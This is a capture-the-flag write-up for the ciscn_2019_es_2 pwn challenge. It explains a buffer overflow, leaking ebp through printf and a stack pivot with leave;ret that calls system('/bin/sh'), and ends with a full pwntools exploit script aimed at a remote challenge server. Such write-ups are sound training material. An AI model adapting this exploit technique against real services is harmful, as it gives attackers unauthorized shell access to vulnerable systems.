ciscn_2019_es_2

https://files.buuoj.cn/files/3b1f1f64834cb78d6bafc0422ec4fbec/ciscn_2019_es_2

grxer@grxer ~/D/BUU> checksec ciscn_2019_es_2 
[*] '/home/grxer/Desktop/BUU/ciscn_2019_es_2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

漏洞函数

int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}

只有0x8字节可控,有system函数在

考虑栈迁移,常规我们会往bss段迁移,但是这次可以泄露处ebp

泄露ebp

利用printf就可以泄露出ebp

padding=b’a’*0x28
sa(b’name?\n’,padding)

image-20230312195405528

泄露出ebp=0xff82fc88

栈迁移到栈上

可以从什么看到泄露出来的ebp和我们输入的地方差0xff82fc88−0xff82fc50=0x38

下次read也会往这个地方read,我们提前在上面布置好栈帧,将ebp覆盖为我们的输入点,也就是伪造的栈帧,再将返回地址覆盖为leave ret,这样mov esp,ebp,会到达输入点,

再pop ebp,输入点前四个字节输入junk即可,

image-20230312195704199

再ret,这里我们就可以接管执行流,bin/sh也可以利用泄露的栈和偏移进行确定

payload2=b’junk’+p32(elf.symbols[‘system’])+p32(0x123)+p32(ebp+0x10)+b”/bin/sh”
payload2=payload2.ljust(0x28,b’\x00’)
payload2+=p32(ebp)+p32(leave_ret)

image-20230312195856603

EXP

from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386')
pwnfile='./ciscn_2019_es_2'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote('node4.buuoj.cn','25443')
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))
db('b* 0x80485CD')

leave_ret=0x08048562
padding=b'a'*0x28
sa(b'name?\n',padding)
ru(padding)
ebp=u32(io.recv(4))-0x38
p('ebp',ebp)
sleep(1)
payload2=b'junk'+p32(elf.symbols['system'])+p32(0x123)+p32(ebp+0x10)+b"/bin/sh"
payload2=payload2.ljust(0x28,b'\x00')
payload2+=p32(ebp)+p32(leave_ret)
sl(payload2)
io.interactive()